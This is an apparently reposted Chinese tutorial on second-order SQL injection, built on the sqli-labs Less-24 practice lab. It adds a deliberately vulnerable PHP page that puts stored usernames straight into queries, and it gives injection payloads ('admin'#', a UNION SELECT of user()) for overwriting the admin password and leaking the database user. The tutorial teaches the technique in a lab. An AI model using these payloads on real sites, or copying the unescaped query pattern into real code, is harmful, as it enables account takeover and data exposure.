二次注入的原理


二次注入的原理

二次注入原理,主要分為兩步
第一步:插入惡意數據
第二步:引用惡意數據
第一步:輸入參數1’,函數經過轉義函數變成’,參數進入數據庫存儲還原為1’
第二步:將1’從數據庫中取出 取出后直接給變量帶入SQL ,SQL注入觸發

二次注入的方法
對sqlilabs的Less-24做部分修改,使的實驗效果更明顯
第一步 修改users表中username字段的長度

ALTER TABLE `users` CHANGE `username` `username` VARCHAR(255) CHARACTER SET gbk COLLATE gbk_chinese_ci NOT NULL;

第二步
添加userlist.php文件,顯示所有用戶的賬號信息

<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
$sql="SELECT * FROM users ORDER BY id";
$result=mysql_query($sql);
$num=mysql_num_rows($result);
for ($i=0; $i < $num; ++$i) { 
    $row = mysql_fetch_array($result);
    $username = $row[1];
    $sql_detail = "SELECT * FROM users where username='$username'";
    $result_detail=mysql_query($sql_detail);
    $num_detail = mysql_num_rows($result_detail);
    for ($j=0; $j < $num_detail; ++$j) { 
        $row_detail = mysql_fetch_array($result_detail);
        echo<<<END <table border="1" style="table-layout:fixed;" width="1000"> <tr> <th>$row_detail[1]</th> <th>$row_detail[2]</th> </tr> </table> END;
    }
}
?>

注冊一個新用戶,用戶名為admin’#,密碼為123
在這里插入圖片描述
在這里插入圖片描述
登錄上了之后,重新設置,設置用戶名為123,密碼為123
在這里插入圖片描述
admin的密碼改變了
在這里插入圖片描述
因為在pass_change.php中,

$username= $_SESSION["username"];
$sql = "UPDATE users SET PASSWORD='123' where username='admin'#' and password='$curr_pass' ";

所以就達到了修改admin密碼為自己想要的密碼的目的
在使用時沒有進行校驗,以上是sqlilabs原始關卡的代碼
注冊一個用戶,用戶名:1’ union select 1,user(),3#
在這里插入圖片描述
注冊成功后,查看userlist.php
userlist.php中顯示了root@localhost 3

$sql_detail = "SELECT * FROM users where username='1' union select 1,user(),3#'";
1, root@localhost,3

所以顯示的時候就顯示的是root@localhost 3


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM